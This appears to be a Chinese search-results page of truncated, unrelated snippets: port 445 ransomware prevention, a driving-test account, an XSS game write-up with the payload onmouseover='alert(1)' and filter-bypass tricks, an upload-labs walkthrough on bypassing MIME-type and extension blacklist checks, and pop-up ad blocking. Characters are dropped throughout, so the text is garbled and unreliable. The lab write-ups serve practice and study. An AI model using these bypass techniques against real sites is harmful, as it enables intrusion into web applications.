  • 端口445怎么?445端口是什么服务?445病毒是什么?近日我国的很多高校校园网遭受比特币勒索病毒袭击。勒索病毒是通过入侵端口传播,现在主要是445端口,如果是校园网的用户关闭445端口可以有效预防勒索病毒。下面...
  • 2017-06-21 17:54:25 今天我就全方位的把这个考场的情况和考试经验分享出来,希望能给各位在科迷茫的车友们带来一点帮助,以下分为几个阶段来分享。今天早上楼主在秦汉新城驾考场顺利通过科考试,看到很多学员...
  • xssgame第六至第八

    千次阅读 2021-10-05 11:07:14
    第六 先试试a标签 可以看到,a标签这里被转义了 再试试其他标签 onmouseover='alert(1)' 转换大小写,成功过关 第七 可以看到,过滤掉了script 于是采取重复嵌套的方式 第八 首先,测试...
  • upload-labs闯

    千次阅读 2021-12-07 09:16:49
    Pass-02 MIME类型 检测 源码: 通过抓包,将Content-Type修改为允许上传的类型(image/jpeg、image/png、image/gif)选一。 Pass-03 黑名单绕过 通过查看源码,发现不允许上传.asp,.aspx,.php,.jsp后缀的文件,...
  • 03 360安全卫士过滤 我们还可以通过第方电脑管理软件来禁止电脑中的广告,比如:腾讯的电脑管家、360安全卫士等等。这里以360安全卫士为例,看看它是怎样禁止弹窗广告的。 具体步骤: ①打开360卫士主窗口,点击...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 195,405
精华内容 78,162
关键字:

安全三关是哪三关